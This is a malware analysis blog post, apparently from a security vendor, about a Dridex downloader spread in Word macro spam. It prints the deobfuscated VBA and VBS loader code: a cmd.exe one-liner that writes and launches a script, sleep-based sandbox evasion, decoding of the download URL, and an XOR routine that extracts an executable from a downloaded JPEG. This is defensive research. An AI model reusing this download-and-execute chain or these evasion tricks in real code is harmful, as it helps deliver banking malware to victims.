Dridex Downloader Tries New Sandbox-Evasion Techniques

Dridex is currently one of the most active and widespread banking malwares. Like Locky ransomware also Dridex is dispatched through a massive spam mail campaign that uses the Necurs botnet. Our sensors have long been tracking these spam campaigns and recent captured emails contain a Word document that drops Dridex. In our latest samples we have observed a delay on execution of the downloader stage that wasn’t present before, we have further investigated to figure out whether Dridex’s authors were experimenting with new, even if basic, anti-sandbox techniques.

Email

This is a sample of the spam emails dispatched:

Subject: Re:Amaya Lamb

Body: Please find the bill enclosed with this msg. The Payment will be posted in 1 hours.

The email comes with a Microsoft Word Template with Macros as attachment, named AQCM.Amaya Lamb.dotm.

dridex_sleeping_function_vt

The Word document is made of 7 pages, the first one is an image that pretends to be an Office warning message, asking the victim to click the “enable content” button in order to correctly visualize the document.

dridex_sleeping_function_word_message

All the other pages are made of random text that is just used to increase the document’s size, possibly in an attempt to lower the detection score of the attached file.

dridex_sleeping_function_hidden_text

Attachment analysis

In the analyzed document (MD5: 2FE144AF18EB3807FBA27FAD90714E95) there’s VBA code and a form definition.

dridex_sleeping_function_macro_form

The code is obfuscated and contains many other chunks of code (original), the deobfuscated code can be found in this gist.

The document_open() function is the first one that is executed once the document is opened and the macro is enabled.

Private Sub dOCuMeNt_oPEN()

Dim Mbau As Long, FS7rPff As Long, UN83e3l As Long

Mbau = 91034

For FS7rPff = 1 To Mbau
UN83e3l = UN83e3l + 1
Next FS7rPff

If UN83e3l = Mbau Then

GmY

Else

GwQ9d

End If

End Sub

The If statement is executed due to the original condition being true, so the GmY function is run. If the Else statement is executed instead the GwQ9d is run, that does nothing.

In the first lines on the GmY function, we can see a reference to the UserForm1 definition shown in the screen above.

N42Wo = Split(UserForm1.Label1.Caption, Qxd7GSg(44))

Analyzing the caption of the Label1 defined in the form we find:

dridex_sleeping_function_label_caption

The function Qxd7GSg returns the character corresponding to the decimal ASCII code passed as argument, e.g.: 44 is the ASCII code for the comma punctuation mark (‘,‘). That line of code is responsible for building an array of numbers by splitting the string contained inside the Label1‘s caption.

After executing the decoding routine, a Shell function at end of the GmY function is executed. Intercepting the value of the OcMm1T variable we can extract the following command:

dridex_sleeping_function_shell_execution

Here’s the code:

cmd.exe /V /C set "GD=%APPDATA%\%RANDOM%.vbs" && (for %i in ("[CODE]") do @echo %~i)>"!GD!" && start '"' "!GD!"

The line above, through cmd.exe, creates a VBS file with [CODE] inside and executes it. The [CODE] can be found in this gist.

This VBS code has also garbage code so, as usual, the cleaned up one is here.

The operations performed by the VBS file are:

  • downloads a JPEG file from a web domain
  • opens it, xoring it with a static key, starting from specific offset until the end of the file

One of the interesting things we’ve noted here is the introduction of a delay function, most probably added to evade a sandbox environment. This function is UX0, which accepts one argument: the number of seconds to sleep. The code is pretty self-explanatory:

Sub UX0(BBQk9Rx)

Dim RYYQB1Z

RYYQB1Z = Timer + BBQk9Rx
Do While Timer < RYYQB1Z
Loop

End Sub

The entry point function is Se:

suB Se()

RUXRC=91782317

For ClFZS=1 To RUXRC
Tsz5=Tsz5+1
NeXT

If Tsz5=RUXRC thEn
UX0(250)
XqMW(QAR(“382D11214A777F3B17381E3F7D34007F19367F2A107F1A2837″,”XPYeQp”))
EnD iF

EnD Sub

Before the execution of the UX0 function, that sleeps for 250 seconds, there is a For loop also used to make a delay, due to the big value of RUXRC variable.

A note on sandbox evasion techniques

Different sandboxes (network based or not) nowadays are capable of “patching” the various operating system’s offered sleep functions in order to avoid missing the detection of malware executing in a delayed way. Some also stretch this concept moving the system’s time forward several hours/days. This approach is effective against the simplest sandbox evasion techniques, like long sleeps or date-based activations, although it doesn’t come without side effects: this same patching-based procedure can itself be used as an anti-sandbox technique.

More sophisticated techniques can be adopted to blindly evade the sandbox, that is: performing the evasion without trying to actively detect the sandbox itself. Such techniques can be as simple as waiting for the activation of specific applications, or by using opaque predicates that can be resolved only at runtime. On the first case a sandbox would be unable to reliably detect the execution condition, on the second case the sandbox would have to execute the code to the end (so for hours, days etc) in order to identify the correct order of execution of each branch of code.

This last approach, although relatively more complicated to implement, is very hard to counter thus extremely effective.

After the delay function, XqMW is invoked, as an argument it takes the return value of the QAR function, responsible in turn to decrypt the strings passed as argument. In this case the function decodes the URL from which the file should be downloaded (bring-me\.in/su.jpg)

Without digging deeper in the QAR function, we report below the strings decrypted by the script during the execution:

QAR("6B1B190F","JEqihx")                                                    .jpg
QAR("6F233923","FA")                                                        .exe
QAR("310B052A0F281276353003340A","Xf")                                        WScript.Shell
QAR("6411220B08043D59157E24111C31640B23161D1D1B551835010C", "T7rPbxp")        Scripting.FileSystemObject
QAR("220224251C2133792639223B19","WuQG")                                    WScript.Shell
QAR("3165230571030A","Ya7lF4P")                                                PROCESS
QAR("19220507391819","LXrUCx")                                                APPDATA
QAR("3C5C212B1B4A2B17416C0139750C256112","Dq5BYt9")                            Microsoft.XMLHTTP
QAR("727636","C53bsi")                                                        GET
QAR("382D11214A777F3B17381E3F7D34007F19367F2A107F1A2837","XPYeQp")            http://bring-me.in/su.jpg
QAR("022D27710B6D3A1C472C2204","ICih5")                                        ADODB.Stream
QAR("18283157","I6BA0mS")                                                    .jpg

XqMW function contacts the domain and passes the response body content to the Cs function. This last one saves to the disk the file (a JPEG image) and invokes the MjX2jEP function. MjX2jEP invokes then the Pi function to perform its xor decryption routine, starting from a fixed offset and with a static key, of the file downloaded.

fuNCTion Pi(NU,L5)

diM KtdnnFk,IMOMhem,LD8Ht,QQvlw,AhdtC(5)
AhdtC(4)=56
AhdtC(1)=100
AhdtC(2)=103
AhdtC(5)=57
AhdtC(3)=53
AhdtC(0)=104

SEt KtdnnFk=crEateOBjEct(QAR(“6411220B08043D59157E24111C31640B23161D1D1B551835010C”, “T7rPbxp”))
SEt IMOMhem=KtdnnFk.getFILE(NU)
sET QQvlw=IMOMhem.opeNAstExtStREAM(7344-7343,4140-4140)

QQvlw.SkiP((-3106+8174))

sEt LD8Ht=KtdnnFk.crEaTEtExTfIle(L5,6596-6595,6210-6210)

dO unTil QQvlw.AteNDoFstReaM
LD8Ht.wRitE CRjB4(N5t(Qge3PL(QQvlw.rEaD(722-721)),AhdtC(0)))
LoOp

LD8Ht.cLOSe
QQvlw.CLoSE

eNd funCtIoN

Here we can see that the offset is 0x13CC and the xor key 0x68.

The JPEG file downloaded (MD5: 4FA3AA934E474AB999EE817EB4B6EBB3) is a real one, with an executable appended at the end.

dridex_sleeping_function_jpeg_downloaded

This is the xored block:

dridex_sleeping_function_before_xor

And the clear-text one:

dridex_sleeping_function_after_xor

After the last step finally we obtain the Dridex payload (MD5: D4C3E289E5C2240B4BC06E344BE6E5B6).

dridex_sleeping_function_dridex_payload

Conclusion

We have seen how malware authors make constant experiments to increase the effectiveness of their malware and their deployment stages, with more and more authors targeting sandboxes directly and indirectly. If your enterprise needs protection against these and more advanced threats, check out ReaQta-Core that, adopting real-time behavioral analysis, is inherently insensitive to sandbox bypass techniques.

Join our newsletter to get the world’s latest security events and our technical analyses delivered directly to your inbox!

ReaQta